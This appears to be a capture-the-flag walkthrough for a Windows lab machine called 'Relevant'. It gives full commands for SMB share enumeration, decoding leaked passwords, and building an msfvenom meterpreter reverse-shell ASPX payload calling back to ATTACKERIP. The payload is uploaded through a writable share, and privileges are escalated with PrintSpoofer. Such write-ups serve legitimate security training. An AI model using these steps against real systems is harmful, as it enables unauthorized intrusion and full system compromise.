Relevant
Tasks:
Pre-Engagement Briefing:
- Do usual nmap scan with service scanning - smb running on 445, IIS Server on 80,49663
- Connect to smb and enumerate shares - nt4wrksv seems unique and contains passwords.txt get that, the passwords are base64 encoded , decode them and save them for future use.
- Scan with gobuster for directories in port 80,49664 with directory-list-2.3-medium.txt wordlist, you will find nt4wrksv directory in 49664 , try opening http://ip:49664/nt4wrksv/passwords.txt in browser you can see same file as in smb share. - This directory is somehow hosting files from smb share.
- Create msfvenom payload
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=ATTACKERIP lport=1234 -f aspx -o shell.aspxand upload to smbshare ,Now start meterpreter listeneruse exploit/multi/handlerandset payload windows/x64/meterpreter_reverse_tcp, configure LHOST and LPORT and run,and also openhttp://ip:49664/nt4wrksv/shell.aspx in browser- You now have shell !!!. - Type
shellin meterpreter to get cmd, Go to bob Desktop andtype user.txt, then submit the user flag - Type
whoami /priv- SeImpersonatePrivilege enabled !!! - Use
systeminfoto get windows version and details traditional juicy potato won't work here , So we need to use something called PrintSpoofer or direct binary link, upload PrintSpoofer.exe to smb share , again go to windows shell in meterpretercd C:\inetpub\wwwroot\nt4wrksv, runPrintSpoofer -i -c "cmd"to get root shell. - Go to Administrator's Desktop and
type root.txtto get root flag and submit.
References: